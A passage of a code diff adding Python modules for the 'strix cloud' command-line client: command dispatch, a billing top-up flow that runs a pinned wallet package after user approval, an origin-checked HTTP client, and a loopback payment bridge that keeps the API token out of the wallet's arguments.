+[bold]Resource commands:[/]"""
+
+_USAGE_FOOTER = """
+Run [bold]strix cloud <command> help[/] to list its verbs. Common read-only
+commands may also run their default verb when no verb is given.
+Every REST resource command accepts [bold]--json[/] and [bold]--token[/]. Write
+commands accept [bold]--data[/] with a JSON object of extra request fields.
+Login is an interactive device flow; [bold]whoami[/] and [bold]logout[/] also
+produce JSON automatically when output is redirected.
+API reference: https://docs.app.strix.ai"""
+
+_HELP_TOKENS = frozenset({"-h", "--help", "help"})
+
+
+def _is_help_request(argv: list[str]) -> bool:
+    """Recognize a help token with an optional JSON-output flag in either order."""
+    return sum(argument in _HELP_TOKENS for argument in argv) == 1 and all(
+        argument in _HELP_TOKENS or argument == "--json" for argument in argv
+    )
+
+
+def run_cloud(argv: list[str]) -> int:
+    """Run a managed-cloud command without ever leaking a Ctrl-C traceback."""
+    try:
+        return _run_cloud(argv)
+    except KeyboardInterrupt:
+        if json_mode(flag="--json" in argv):
+            sys.stdout.write(json.dumps({"error": "Interrupted.", "interrupted": True}) + "\n")
+        else:
+            Console(stderr=True).print("[yellow]Interrupted.[/]")
+        return 130
+
+
+def _run_cloud(argv: list[str]) -> int:  # noqa: PLR0911, PLR0912
+    """Entry point for ``strix cloud …``. Returns a process exit code."""
+    console = Console()
+    as_json = json_mode(flag="--json" in argv)
+    if not argv or _is_help_request(argv):
+        if as_json:
+            _print_usage_json()
+        else:
+            _print_usage(console)
+        return 0
+    if argv == ["--json"]:
+        _print_usage_json()
+        return 0
+
+    group, rest = argv[0], argv[1:]
+    if group == "workspace":
+        group = "workspaces"
+    if group in ("login", "logout", "whoami"):
+        return _run_session(console, group, rest)
+    if group == "session":
+        return run_session(rest)
+    if group == "credits":
+        group, rest = "billing", ["credits", *rest]
+    if group == "workspaces" and rest and rest[0] == "use":
+        try:
+            return run_workspace_use(rest[1:])
+        except http.CloudError as exc:
+            if "--json" in rest:
+                sys.stdout.write(json.dumps({"error": str(exc)}) + "\n")
+            else:
+                console.print(f"[red]Error:[/] {escape(sanitize_terminal_text(exc))}")
+            return exc.exit_code
+
+    if group not in SPEC:
+        if as_json:
+            sys.stdout.write(json.dumps({"error": f"unknown command: {group}"}) + "\n")
+            return 2
+        console.print(f"[red]Unknown command:[/] {escape(sanitize_terminal_text(group))}")
+        _print_usage(console)
+        return 2
+    group_help = _is_help_request(rest)
+    resolved = None if group_help else resolve(group, rest)
+    if resolved is None:
+        help_tokens: set[str] = set(_HELP_TOKENS) if group_help else set()
+        invalid = [arg for arg in rest if arg != "--json" and arg not in help_tokens]
+        _print_verbs(console, group, as_json=as_json, error="unknown verb" if invalid else None)
+        return 2 if invalid else 0
+    cmd, remaining = resolved
+    verb_label = " ".join(rest[: len(rest) - len(remaining)]) or DEFAULT_VERBS.get(group, "")
+    return run(group, verb_label, cmd, remaining)
+
+
+def _run_session(_console: Console, group: str, rest: list[str]) -> int:
+    if rest and rest[0] == "help":
+        rest = ["--help", *rest[1:]]
+    session_argv = {
+        "login": rest,
+        "logout": ["logout", *rest],
+        "whoami": ["status", *rest],
+    }
+    return run_login(session_argv[group])
+
+
+def _print_usage(console: Console) -> None:
+    console.print(_USAGE_HEADER)
+    for group in SPEC:
+        console.print(f"  {group:<14}{GROUP_HELP.get(group, '')}")
+    console.print(_USAGE_FOOTER)
+
+
+def _print_verbs(
+    console: Console, group: str, *, as_json: bool = False, error: str | None = None
+) -> None:
+    if as_json:
+        verbs: list[dict[str, str]] = [
+            {"name": verb, "help": command.help} for verb, command in SPEC[group].items()
+        ]
+        if group == "workspaces":
+            verbs.append({"name": "use", "help": "Switch the stored token to another workspace."})
+        payload: dict[str, object] = {
+            "command": f"strix cloud {group}",
+            "verbs": verbs,
+        }
+        if error:
+            payload["error"] = error
+        sys.stdout.write(json.dumps(payload, indent=2) + "\n")
+        return
+    console.print(f"[bold]strix cloud {group}[/] verbs:")
+    for verb, cmd in SPEC[group].items():
+        console.print(f"  {verb:<28}{cmd.help}")
+    if group == "workspaces":
+        console.print(f"  {'use':<28}Switch the stored token to another workspace.")
+
+
+def _print_usage_json() -> None:
+    payload = {
+        "command": "strix cloud",
+        "session_commands": ["login", "logout", "whoami", "session", "credits"],
+        "resource_commands": [{"name": group, "help": GROUP_HELP.get(group, "")} for group in SPEC],
+    }
+    sys.stdout.write(json.dumps(payload, indent=2) + "\n")

strix/interface/cloud/arguments.py

@@ -0,0 +1,18 @@
+"""Argument parsing that reports managed-cloud usage errors through one contract."""
+
+from __future__ import annotations
+
+import argparse
+from typing import NoReturn
+
+import strix.interface.cloud.http as http  # noqa: PLR0402
+
+
+class CloudArgumentParser(argparse.ArgumentParser):
+    """Raise a typed usage error instead of printing argparse prose and exiting."""
+
+    def error(self, message: str) -> NoReturn:
+        raise http.CloudError(
+            f"invalid arguments for {self.prog}: {message}",
+            exit_code=http.EXIT_USAGE,
+        )

strix/interface/cloud/billing.py

@@ -0,0 +1,374 @@
+"""Billing top-up and agent-wallet execution for ``strix cloud``."""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import shutil
+import subprocess
+import sys
+import tempfile
+from dataclasses import dataclass
+from pathlib import Path
+from typing import TYPE_CHECKING, Any, cast
+
+import strix.interface.cloud.http as http  # noqa: PLR0402
+from strix.interface.cloud.payment_proxy import WalletUpstreamResponse, wallet_payment_bridge
+from strix.interface.cloud.render import emit
+from strix.interface.terminal_text import sanitize_terminal_text
+
+
+if TYPE_CHECKING:
+    import argparse
+
+    from rich.console import Console
+
+
+_MAX_WALLET_DETAIL_CHARS = 2_000
+# Keep the wallet client on the exact protocol implementation used by the
+# platform. This version is also old enough to remain installable in npm
+# environments that apply a short package-publication safety window.
+_MPPX_PACKAGE = "mppx@0.8.17"
+_NPM_REGISTRY = "https://registry.npmjs.org"
+_WALLET_ENV_NAMES = frozenset(
+    {
+        "ALL_PROXY",
+        "APPDATA",
+        "COLORTERM",
+        "COMSPEC",
+        "FORCE_COLOR",
+        "HOME",
+        "HTTPS_PROXY",
+        "HTTP_PROXY",
+        "LANG",
+        "LC_ALL",
+        "LC_CTYPE",
+        "LOCALAPPDATA",
+        "NO_COLOR",
+        "NO_PROXY",
+        "PATH",
+        "PATHEXT",
+        "SSL_CERT_DIR",
+        "SSL_CERT_FILE",
+        "SYSTEMROOT",
+        "TEMP",
+        "TERM",
+        "TMP",
+        "TMPDIR",
+        "USERPROFILE",
+        "XDG_CONFIG_HOME",
+        "all_proxy",
+        "http_proxy",
+        "https_proxy",
+        "no_proxy",
+    }
+)
+_AUTHORIZATION_SECRET = re.compile(r"(?i)((?:bearer|payment)\s+)[^\s\"']+")
+_LOOPBACK_NO_PROXY = ("127.0.0.1", "localhost", "::1")
+
+
+@dataclass(frozen=True)
+class _WalletClientResult:
+    process: subprocess.CompletedProcess[str]
+    upstream_responses: tuple[WalletUpstreamResponse, ...]
+
+
+def run_topup(  # noqa: PLR0911, PLR0912
+    console: Console,
+    args: argparse.Namespace,
+    body: dict[str, Any],
+    *,
+    as_json: bool,
+    token: str | None,
+) -> int:
+    """Handle the HTTP 402 challenge and optional agent-wallet payment."""
+    response = http.request("POST", "/billing/topup", token=token, body=body)
+    if response.status_code != 402:
+        emit(console, http.check(response), as_json=as_json)
+        return http.EXIT_OK
+
+    challenge = http.parsed(response)
+    if getattr(args, "no_pay", False):
+        emit(
+            console,
+            {"error": "Payment required", "challenge": challenge},
+            as_json=as_json,
+        )
+        return http.EXIT_PAYMENT
+
+    credit_count = body.get("credits")
+    if not getattr(args, "yes", False):
+        if as_json or not (sys.stdin.isatty() and sys.stdout.isatty()):
+            emit(
+                console,
+                {
+                    "error": (
+                        "Payment requires explicit approval in non-interactive mode. "
+                        "Review the challenge, then re-run with --yes to authorize payment."
+                    ),
+                    "challenge": challenge,
+                },
+                as_json=as_json,
+            )
+            return http.EXIT_PAYMENT
+        answer = console.input(f"Buy {credit_count} credit(s) now? [y/N]: ").strip().lower()
+        if answer not in ("y", "yes"):
+            console.print("[yellow]Payment cancelled.[/]")
+            return http.EXIT_PAYMENT
+
+    npx = shutil.which("npx")
+    if npx is None:
+        message = (
+            "Payment requires a wallet client. Install Node.js and run the command again, "
+            "or pay the challenge with an MPP wallet client."
+        )
+        if as_json:
+            emit(
+                console,
+                {"error": message, "challenge": challenge},
+                as_json=True,
+            )
+        else:
+            emit(console, challenge, as_json=False)
+            console.print(f"[yellow]Payment required.[/] {message}")
+        return http.EXIT_PAYMENT
+
+    payment_method = getattr(args, "payment_method", None) or os.environ.get(
+        "MPPX_STRIPE_PAYMENT_METHOD"
+    )
+    if not payment_method and (
+        not as_json
+        and not os.environ.get("MPPX_ACCOUNT")
+        and not os.environ.get("MPPX_STRIPE_SECRET_KEY")
+    ):
+        console.print(
+            "[dim]Tip: payments need a wallet. Set up a Stripe agent wallet at "
+            "https://link.com/agents, and the user approves each payment in the Link app. "
+            "If the user does not want a wallet, run "
+            "`strix cloud billing subscribe --plan strix_top_up` for a hosted checkout link.[/]"
+        )
+    try:
+        wallet_result = _run_wallet_client(
+            npx,
+            args,
+            body,
+            token=token,
+            payment_method=payment_method,
+            capture_output=as_json,
+        )
+    except KeyboardInterrupt:
+        emit(
+            console,
+            {
+                "error": (
+                    "Payment was interrupted after the wallet started. The outcome is unknown; "
+                    "run `strix cloud billing credits` and check the balance before retrying."
+                ),
+                "interrupted": True,
+                "payment_outcome_unknown": True,
+            },
+            as_json=as_json,
+        )
+        return 130
+    except OSError:
+        emit(
+            console,
+            {
+                "error": "Could not start the wallet client securely.",
+                "challenge": challenge,
+            },
+            as_json=as_json,
+        )
+        return http.EXIT_PAYMENT
+
+    result = wallet_result.process
+    confirmed_receipt = _confirmed_topup_receipt(wallet_result.upstream_responses)
+    if confirmed_receipt is not None:
+        if as_json:
+            emit(console, confirmed_receipt, as_json=True)
+        return http.EXIT_OK
+
+    if not as_json:
+        console.print(
+            "[yellow]The wallet exited without a confirmed receipt. The payment outcome is "
+            "unknown; run `strix cloud billing credits` before retrying.[/]"
+        )
+        return http.EXIT_PAYMENT
+
+    stdout = str(getattr(result, "stdout", "") or "").strip()
+    stderr = str(getattr(result, "stderr", "") or "").strip()
+    if result.returncode == 0:
+        try:
+            receipt = json.loads(stdout)
+        except (TypeError, ValueError):
+            emit(
+                console,
+                {
+                    "error": (
+                        "The wallet reported success but did not return JSON. Check the credit "
+                        "balance before retrying payment."
+                    ),
+                    "detail": _wallet_detail(stdout or stderr or "No wallet output was returned."),
+                    "payment_outcome_unknown": True,
+                },
+                as_json=True,
+            )
+            return http.EXIT_PAYMENT
+        if not _valid_topup_receipt(receipt):
+            emit(
+                console,
+                {
+                    "error": (
+                        "The wallet returned an invalid top-up receipt. Check the credit balance "
+                        "before retrying payment."
+                    ),
+                    "detail": _wallet_detail(stdout),
+                    "payment_outcome_unknown": True,
+                },
+                as_json=True,
+            )
+            return http.EXIT_PAYMENT
+        emit(
+            console,
+            {
+                "error": (
+                    "The wallet returned a receipt, but the Strix billing endpoint did not "
+                    "confirm it. Check the credit balance before retrying payment."
+                ),
+                "detail": _wallet_detail(stdout),
+                "payment_outcome_unknown": True,
+            },
+            as_json=True,
+        )
+        return http.EXIT_PAYMENT
+
+    emit(
+        console,
+        {
+            "error": (
+                "The wallet exited without a confirmed receipt. The payment outcome is unknown; "
+                "run `strix cloud billing credits` and check the balance before retrying."
+            ),
+            "detail": _wallet_detail(
+                stderr or stdout or f"Wallet client exited with status {result.returncode}."
+            ),
+            "wallet_exit_code": result.returncode,
+            "payment_outcome_unknown": True,
+        },
+        as_json=True,
+    )
+    return http.EXIT_PAYMENT
+
+
+def _run_wallet_client(
+    npx: str,
+    args: argparse.Namespace,
+    body: dict[str, Any],
+    *,
+    token: str | None,
+    payment_method: str | None,
+    capture_output: bool,
+) -> _WalletClientResult:
+    """Run mppx through the loopback bridge without exposing the API token to it."""
+    upstream_url = f"{http.app_url()}/api/v1/billing/topup"
+    body_json = json.dumps(body)
+    wallet_env = _wallet_environment()
+    upstream_responses: list[WalletUpstreamResponse] = []
+    with tempfile.TemporaryDirectory(prefix="strix-wallet-") as wallet_cwd:
+        wallet_root = Path(wallet_cwd)
+        user_config = wallet_root / "user.npmrc"
+        global_config = wallet_root / "global.npmrc"
+        user_config.touch(mode=0o600)
+        global_config.touch(mode=0o600)
+        with wallet_payment_bridge(
+            upstream_url=upstream_url,
+            api_token=http.api_token(token),
+            expected_body=body_json.encode(),
+            timeout=getattr(args, "timeout", None),
+            response_observer=upstream_responses.append,
+        ) as wallet_url:
+            command = [
+                npx,
+                "--yes",
+                f"--registry={_NPM_REGISTRY}",
+                "--ignore-scripts",
+                f"--userconfig={user_config}",
+                f"--globalconfig={global_config}",
+                f"--cache={wallet_root / 'npm-cache'}",
+                _MPPX_PACKAGE,
+                wallet_url,
+                "--fail",
+                "-J",
+                body_json,
+            ]
+            if payment_method:
+                command += ["-M", f"paymentMethod={payment_method}"]
+            process = subprocess.run(  # noqa: S603
+                command,
+                check=False,
+                capture_output=capture_output,
+                text=True,
+                env=wallet_env,
+                cwd=wallet_root,
+            )
+    return _WalletClientResult(process=process, upstream_responses=tuple(upstream_responses))
+
+
+def _wallet_environment() -> dict[str, str]:
+    """Pass only platform essentials and explicit wallet variables to npm/mppx."""
+    environment = {
+        name: value
+        for name, value in os.environ.items()
+        if name in _WALLET_ENV_NAMES or name.startswith("MPPX_")
+    }
+    for name in ("NO_PROXY", "no_proxy"):
+        entries = [entry.strip() for entry in environment.get(name, "").split(",") if entry.strip()]
+        normalized = {entry.lower().strip("[]") for entry in entries}
+        entries.extend(host for host in _LOOPBACK_NO_PROXY if host not in normalized)
+        environment[name] = ",".join(entries)
+    return environment
+
+
+def _wallet_detail(value: str) -> str:
+    """Bound and redact third-party wallet diagnostics before returning JSON."""
+    redacted = _AUTHORIZATION_SECRET.sub(r"\1[redacted]", sanitize_terminal_text(value))
+    if len(redacted) <= _MAX_WALLET_DETAIL_CHARS:
+        return redacted
+    return redacted[: _MAX_WALLET_DETAIL_CHARS - 1] + "…"
+
+
+def _valid_topup_receipt(value: Any) -> bool:
+    """Require the documented success shape before reporting a paid top-up."""
+    if not isinstance(value, dict):
+        return False
+    fields = cast("dict[str, Any]", value)
+    credits_granted = fields.get("credits_granted")
+    balance = fields.get("balance")
+    return (
+        isinstance(credits_granted, int)
+        and not isinstance(credits_granted, bool)
+        and credits_granted >= 0
+        and isinstance(fields.get("duplicate"), bool)
+        and isinstance(fields.get("reference"), str)
+        and bool(fields["reference"])
+        and isinstance(balance, int)
+        and not isinstance(balance, bool)
+        and balance >= 0
+    )
+
+
+def _confirmed_topup_receipt(
+    responses: tuple[WalletUpstreamResponse, ...],
+) -> dict[str, Any] | None:
+    """Return a receipt only when the trusted bridge observed its successful response."""
+    for response in reversed(responses):
+        if not 200 <= response.status_code < 300:
+            continue
+        try:
+            receipt = json.loads(response.body)
+        except (TypeError, ValueError):
+            continue
+        if _valid_topup_receipt(receipt):
+            return cast("dict[str, Any]", receipt)
+    return None

strix/interface/cloud/http.py

@@ -0,0 +1,361 @@
+"""HTTP client for the managed Strix platform API (app.strix.ai)."""
+
+from __future__ import annotations
+
+import ipaddress
+import math
+import os
+import re
+from typing import TYPE_CHECKING, Any, cast
+from urllib.parse import SplitResult, urlsplit
+
+import requests
+
+from strix.config import load_settings
+from strix.interface.platform_cli import read_record
+
+
+if TYPE_CHECKING:
+    from pathlib import Path
+
+
+_DEFAULT_TIMEOUT_S = 120
+_SUPABASE_STORAGE_HOST = re.compile(r"^[a-z0-9-]+\.supabase\.co$")
+_STORAGE_PATH_PREFIX = "/storage/v1/"
+_app_url_override: str | None = None
+_token_override_active = False
+_workspace_id_override: str | None = None
+_timeout_s: float = _DEFAULT_TIMEOUT_S
+
+EXIT_OK = 0
+EXIT_ERROR = 1
+EXIT_USAGE = 2
+EXIT_AUTH = 4
+EXIT_PAYMENT = 5
+
+
+class CloudError(Exception):
+    """A failed cloud command. Carries the process exit code."""
+
+    def __init__(self, message: str, *, exit_code: int = EXIT_ERROR, payload: Any = None) -> None:
+        super().__init__(message)
+        self.exit_code = exit_code
+        self.payload = payload
+
+
+class CloudTransportError(CloudError):
+    """A request may have reached the platform, but no response was received."""
+
+
+def configure(
+    *,
+    base_url: str | None = None,
+    timeout: float | None = None,
+    token_override: bool = False,
+    workspace_id: str | None = None,
+) -> None:
+    """Set the platform URL and the request timeout for this process."""
+    global _app_url_override, _timeout_s, _token_override_active  # noqa: PLW0603
+    global _workspace_id_override  # noqa: PLW0603
+    _app_url_override = base_url.rstrip("/") if base_url else None
+    _token_override_active = token_override
+    explicit_workspace = workspace_id or os.environ.get("STRIX_WORKSPACE_ID")
+    if explicit_workspace:
+        _workspace_id_override = explicit_workspace.strip()
+    elif not token_override and not os.environ.get("STRIX_API_TOKEN"):
+        record = read_record()
+        stored_workspace = record.get("organization_id") if record is not None else None
+        _workspace_id_override = (
+            stored_workspace.strip()
+            if isinstance(stored_workspace, str) and stored_workspace.strip()
+            else None
+        )
+    else:
+        _workspace_id_override = None
+    if timeout is not None:
+        if not math.isfinite(timeout) or timeout <= 0:
+            raise CloudError(
+                "request timeout must be a finite number greater than 0.",
+                exit_code=EXIT_USAGE,
+            )
+        _timeout_s = timeout
+
+
+def app_url() -> str:
+    if _app_url_override:
+        return _app_url_override
+    viewer = load_settings().viewer
+    configured = viewer.app_url.rstrip("/")
+    explicitly_configured = bool(os.environ.get("STRIX_APP_URL")) or "app_url" in getattr(
+        viewer, "model_fields_set", set[str]()
+    )
+    if explicitly_configured or _token_override_active or os.environ.get("STRIX_API_TOKEN"):
+        return configured
+    record = read_record()
+    stored = record.get("app_url") if record is not None else None
+    if isinstance(stored, str) and stored:
+        try:
+            _parse_origin_url(stored, label="stored platform URL")
+        except CloudError:
+            pass
+        else:
+            return stored.rstrip("/")
+    return configured
+
+
+def api_token(override: str | None = None) -> str:
+    token = override or os.environ.get("STRIX_API_TOKEN")
+    if not token:
+        record = read_record()
+        if record is not None:
+            stored = record.get("api_token")
+            if isinstance(stored, str):
+                _validate_stored_token_origin(record)
+                token = stored
+    if not token or not token.strip():
+        raise CloudError(
+            "not signed in. Run `strix cloud login`, or set STRIX_API_TOKEN.",
+            exit_code=EXIT_AUTH,
+        )
+    return token.strip()
+
+
+def _validate_stored_token_origin(record: dict[str, Any]) -> None:
+    """Never send a stored bearer token to an origin other than its issuer."""
+    stored_url = record.get("app_url")
+    if not isinstance(stored_url, str) or not stored_url:
+        raise CloudError(
+            "the stored sign-in is not bound to a trusted platform. Run `strix cloud login` "
+            "again before using it.",
+            exit_code=EXIT_AUTH,
+        )
+    try:
+        stored_origin = _origin(_parse_origin_url(stored_url, label="stored platform URL"))
+        active_origin = _origin(_parse_origin_url(app_url(), label="configured platform URL"))
+    except CloudError as exc:
+        raise CloudError(
+            "the stored sign-in has an invalid platform binding. Run `strix cloud login` again.",
+            exit_code=EXIT_AUTH,
+        ) from exc
+    if stored_origin != active_origin:
+        raise CloudError(
+            "the stored sign-in belongs to a different platform. Refusing to send its token; "
+            "run `strix cloud login` for the configured platform or supply an explicit token.",
+            exit_code=EXIT_AUTH,
+        )
+
+
+def request(
+    method: str,
+    path: str,
+    *,
+    token: str | None = None,
+    query: dict[str, Any] | None = None,
+    body: dict[str, Any] | None = None,
+    stream: bool = False,
+    idempotency_key: str | None = None,
+) -> requests.Response:
+    url = f"{app_url()}/api/v1{path}"
+    headers = {
+        "Authorization": f"Bearer {api_token(token)}",
+    }
+    workspace_id = _expected_workspace_id(token_override=token is not None)
+    if workspace_id:
+        headers["X-Strix-Workspace"] = workspace_id
+    if idempotency_key is not None:
+        headers["Idempotency-Key"] = idempotency_key
+    try:
+        response = requests.request(
+            method,
+            url,
+            headers=headers,
+            params={
+                key: ("true" if value else "false") if isinstance(value, bool) else value
+                for key, value in (query or {}).items()
+                if value is not None
+            }
+            or None,
+            json=body,
+            timeout=_timeout_s,
+            stream=stream,
+            allow_redirects=False,
+        )
+    except requests.RequestException as exc:
+        raise CloudTransportError(f"could not reach {app_url()}: {exc}") from exc
+    return response
+
+
+def _expected_workspace_id(*, token_override: bool) -> str | None:
+    """Pin every request in this process to the workspace selected at startup."""
+    if _workspace_id_override:
+        return _workspace_id_override
+    if token_override or _token_override_active or os.environ.get("STRIX_API_TOKEN"):
+        return None
+    return None
+
+
+def upload_file(signed_url: str, upload_token: str, path: Path) -> None:
+    """Stream a file to a platform-issued storage URL."""
+    _validate_upload_url(signed_url)
+    response: requests.Response | None = None
+    try:
+        with path.open("rb") as stream:
+            response = requests.put(
+                signed_url,
+                data=stream,
+                headers={
+                    "Authorization": f"Bearer {upload_token}",
+                    "Content-Type": "application/zip",
+                },
+                timeout=_timeout_s,
+                allow_redirects=False,
+            )
+    except (OSError, requests.RequestException) as exc:
+        raise CloudError(f"source upload failed: {exc}") from exc
+    try:
+        if 300 <= response.status_code < 400:
+            raise CloudError("source upload refused an unexpected redirect")
+        if not response.ok:
+            detail = ""
+            try:
+                payload = response.json()
+                if isinstance(payload, dict):
+                    fields = cast("dict[str, Any]", payload)
+                    detail = str(fields.get("message") or fields.get("error") or "")
+            except ValueError:
+                pass
+            raise CloudError(detail or f"source upload failed (HTTP {response.status_code})")
+    finally:
+        response.close()
+
+
+def _validate_upload_url(signed_url: str) -> None:
+    """Allow uploads only to the trusted app origin or managed Supabase storage."""
+    # Supabase signed upload URLs carry their signature in the query string.
+    # Keep every origin/path restriction below, but allow that opaque query on
+    # this one platform-issued URL type.
+    target = _parse_origin_url(
+        signed_url,
+        label="source upload URL",
+        allow_query=True,
+    )
+    if not target.path.startswith(_STORAGE_PATH_PREFIX):
+        raise CloudError("source upload refused a URL outside the storage API")
+
+    configured_app = _parse_origin_url(app_url(), label="configured platform URL")
+    if _origin(target) == _origin(configured_app):
+        return
+    if _is_loopback_host(configured_app.hostname or "") and _is_loopback_host(
+        target.hostname or ""
+    ):
+        return
+
+    hostname = target.hostname or ""
+    if (
+        target.scheme == "https"
+        and target.port in (None, 443)
+        and _SUPABASE_STORAGE_HOST.fullmatch(hostname)
+    ):
+        return
+    raise CloudError(
+        "source upload refused an untrusted storage origin; only the configured platform "
+        "origin and managed Supabase storage are allowed"
+    )
+
+
+def _parse_origin_url(
+    value: str,
+    *,
+    label: str,
+    allow_query: bool = False,
+) -> SplitResult:
+    try:
+        parsed = urlsplit(value)
+        port = parsed.port
+    except (TypeError, ValueError) as exc:
+        raise CloudError(f"{label} is invalid") from exc
+    hostname = parsed.hostname
+    if (
+        parsed.scheme not in {"http", "https"}
+        or not hostname
+        or parsed.username is not None
+        or parsed.password is not None
+        or (parsed.query and not allow_query)
+        or parsed.fragment
+        or "\\" in value
+        or any(character.isspace() for character in value)
+        or "%" in parsed.netloc
+    ):
+        raise CloudError(f"{label} is invalid")
+    try:
+        hostname.encode("ascii")
+    except UnicodeEncodeError as exc:
+        raise CloudError(f"{label} contains a non-ASCII hostname") from exc
+    if port is not None and not 1 <= port <= 65535:
+        raise CloudError(f"{label} is invalid")
+    return parsed
+
+
+def _origin(parsed: SplitResult) -> tuple[str, str, int]:
+    default_port = 443 if parsed.scheme == "https" else 80
+    return parsed.scheme, (parsed.hostname or "").lower(), parsed.port or default_port
+
+
+def _is_loopback_host(hostname: str) -> bool:
+    normalized = hostname.lower().rstrip(".")
+    if normalized == "localhost" or normalized.endswith(".localhost"):
+        return True
+    try:
+        return ipaddress.ip_address(normalized).is_loopback
+    except ValueError:
+        return False
+
+
+def parsed(response: requests.Response) -> Any:
+    content_type = response.headers.get("content-type", "")
+    if "application/json" in content_type:
+        try:
+            return response.json()
+        except ValueError:
+            return response.text
+    return response.text
+
+
+def check(response: requests.Response) -> Any:
+    data = parsed(response)
+    if 200 <= response.status_code < 300:
+        content_type = response.headers.get("content-type", "").lower()
+        if "application/json" not in content_type:
+            raise CloudError(
+                "the server returned a non-JSON response. Check STRIX_APP_URL and preview "
+                "access, then retry."
+            )
+        try:
+            return response.json()
+        except ValueError as exc:
+            raise CloudError(
+                "the server returned malformed JSON. Check STRIX_APP_URL and preview "
+                "access, then retry."
+            ) from exc
+    detail = ""
+    error_code = ""
+    if isinstance(data, dict):
+        raw = cast("dict[str, Any]", data)
+        detail = str(raw.get("detail") or raw.get("error") or "")
+        error_code = str(raw.get("code") or raw.get("error_code") or "")
+        nested_error = raw.get("error")
+        if isinstance(nested_error, dict):
+            nested = cast("dict[str, Any]", nested_error)
+            error_code = error_code or str(nested.get("code") or "")
+            detail = str(nested.get("message") or detail)
+    message = detail or f"HTTP {response.status_code}"
+    if error_code == "scan_credit_limit_reached":
+        raise CloudError(message, exit_code=EXIT_PAYMENT, payload=data)
+    if response.status_code in (401, 403):
+        raise CloudError(message, exit_code=EXIT_AUTH, payload=data)
+    if response.status_code == 402:
+        hint = detail or (
+            "not enough credits. Run `strix cloud billing topup --credits N` to buy credits."
+        )
+        raise CloudError(hint, exit_code=EXIT_PAYMENT, payload=data)
+    raise CloudError(message, exit_code=EXIT_ERROR, payload=data)

strix/interface/cloud/payment_proxy.py

@@ -0,0 +1,280 @@
+"""Loopback bridge for wallet clients that only accept secrets in argv.
+
+The ``mppx`` CLI accepts custom HTTP headers through ``-H`` only.  Passing a
+Strix API token that way exposes it to process-listing tools.  This module keeps
+the token in the Strix process and injects it while forwarding the wallet's two
+requests (challenge and paid retry) to the fixed billing endpoint.
+"""
+
+from __future__ import annotations
+
+import secrets
+import threading
+from contextlib import contextmanager, suppress
+from dataclasses import dataclass, field
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+from typing import TYPE_CHECKING, Any
+
+import requests
+
+
+if TYPE_CHECKING:
+    from collections.abc import Callable, Generator
+
+
+_DEFAULT_REQUEST_TIMEOUT_S = 120.0
+_MAX_REQUEST_BODY_BYTES = 64 * 1024
+_MAX_UPSTREAM_RESPONSE_BYTES = 1024 * 1024
+_MAX_WALLET_REQUESTS = 2
+_HOP_BY_HOP_HEADERS = frozenset(
+    {
+        "connection",
+        "keep-alive",
+        "proxy-authenticate",
+        "proxy-authorization",
+        "proxy-connection",
+        "te",
+        "trailer",
+        "transfer-encoding",
+        "upgrade",
+    }
+)
+
+
+@dataclass
+class _BridgeState:
+    upstream_url: str
+    authorization: str
+    expected_body: bytes
+    path: str
+    timeout: float
+    response_observer: Callable[[WalletUpstreamResponse], None] | None = None
+    request_count: int = 0
+    lock: threading.Lock = field(default_factory=threading.Lock)
+
+    def claim_request(self) -> bool:
+        """Allow only the challenge request and its paid retry."""
+        with self.lock:
+            if self.request_count >= _MAX_WALLET_REQUESTS:
+                return False
+            self.request_count += 1
+            return True
+
+
+class _ResponseTooLargeError(Exception):
+    """The fixed billing endpoint returned more data than a wallet needs."""
+
+
+@dataclass(frozen=True)
+class WalletUpstreamResponse:
+    """A bounded upstream response observed by the trusted loopback bridge."""
+
+    status_code: int
+    body: bytes
+
+
+def _bounded_response_body(response: requests.Response) -> bytes:
+    content_length = response.headers.get("Content-Length")
+    if content_length:
+        try:
+            if int(content_length) > _MAX_UPSTREAM_RESPONSE_BYTES:
+                raise _ResponseTooLargeError
+        except ValueError:
+            pass
+
+    chunks: list[bytes] = []
+    total = 0
+    for chunk in response.iter_content(chunk_size=64 * 1024):
+        if not chunk:
+            continue
+        total += len(chunk)
+        if total > _MAX_UPSTREAM_RESPONSE_BYTES:
+            raise _ResponseTooLargeError
+        chunks.append(chunk)
+    return b"".join(chunks)
+
+
+def _connection_header_names(handler: BaseHTTPRequestHandler) -> set[str]:
+    value = handler.headers.get("Connection", "")
+    return {item.strip().lower() for item in value.split(",") if item.strip()}
+
+
+def _forward_request_headers(handler: BaseHTTPRequestHandler) -> dict[str, str]:
+    blocked = {
+        *_HOP_BY_HOP_HEADERS,
+        *_connection_header_names(handler),
+        "content-length",
+        "forwarded",
+        "host",
+        "true-client-ip",
+        "x-forwarded-for",
+        "x-forwarded-host",
+        "x-forwarded-proto",
+        "x-real-ip",
+        "x-strix-authorization",
+        "x-vercel-forwarded-for",
+    }
+    return {name: value for name, value in handler.headers.items() if name.lower() not in blocked}
+
+
+def _send_json_error(handler: BaseHTTPRequestHandler, status: int, message: str) -> None:
+    body = f'{{"error": "{message}"}}'.encode()
+    handler.close_connection = True
+    handler.send_response(status)
+    handler.send_header("Content-Type", "application/json")
+    handler.send_header("Content-Length", str(len(body)))
+    handler.send_header("Cache-Control", "no-store")
+    handler.send_header("Connection", "close")
+    handler.end_headers()
+    with suppress(BrokenPipeError, ConnectionResetError):
+        handler.wfile.write(body)
+
+
+def _make_handler(state: _BridgeState) -> type[BaseHTTPRequestHandler]:
+    class WalletBridgeHandler(BaseHTTPRequestHandler):
+        protocol_version = "HTTP/1.1"
+
+        def log_message(self, format: str, *args: Any) -> None:  # noqa: A002
+            """Do not write wallet request metadata to stderr."""
+            del format, args
+
+        def do_POST(self) -> None:  # noqa: PLR0911, PLR0912
+            if self.path != state.path:
+                _send_json_error(self, 404, "Not found")
+                return
+            if self.headers.get("Transfer-Encoding"):
+                _send_json_error(self, 400, "Chunked request bodies are not supported")
+                return
+            try:
+                content_length = int(self.headers.get("Content-Length", ""))
+            except ValueError:
+                _send_json_error(self, 411, "A valid Content-Length is required")
+                return
+            if content_length < 0 or content_length > _MAX_REQUEST_BODY_BYTES:
+                _send_json_error(self, 413, "Request body is too large")
+                return
+            body = self.rfile.read(content_length)
+            if body != state.expected_body:
+                _send_json_error(self, 403, "Request body did not match the approved top-up")
+                return
+            if not state.claim_request():
+                _send_json_error(self, 429, "Wallet request limit reached")
+                return
+
+            headers = _forward_request_headers(self)
+            headers["X-Strix-Authorization"] = state.authorization
+            try:
+                response = requests.request(
+                    "POST",
+                    state.upstream_url,
+                    headers=headers,
+                    data=body,
+                    timeout=state.timeout,
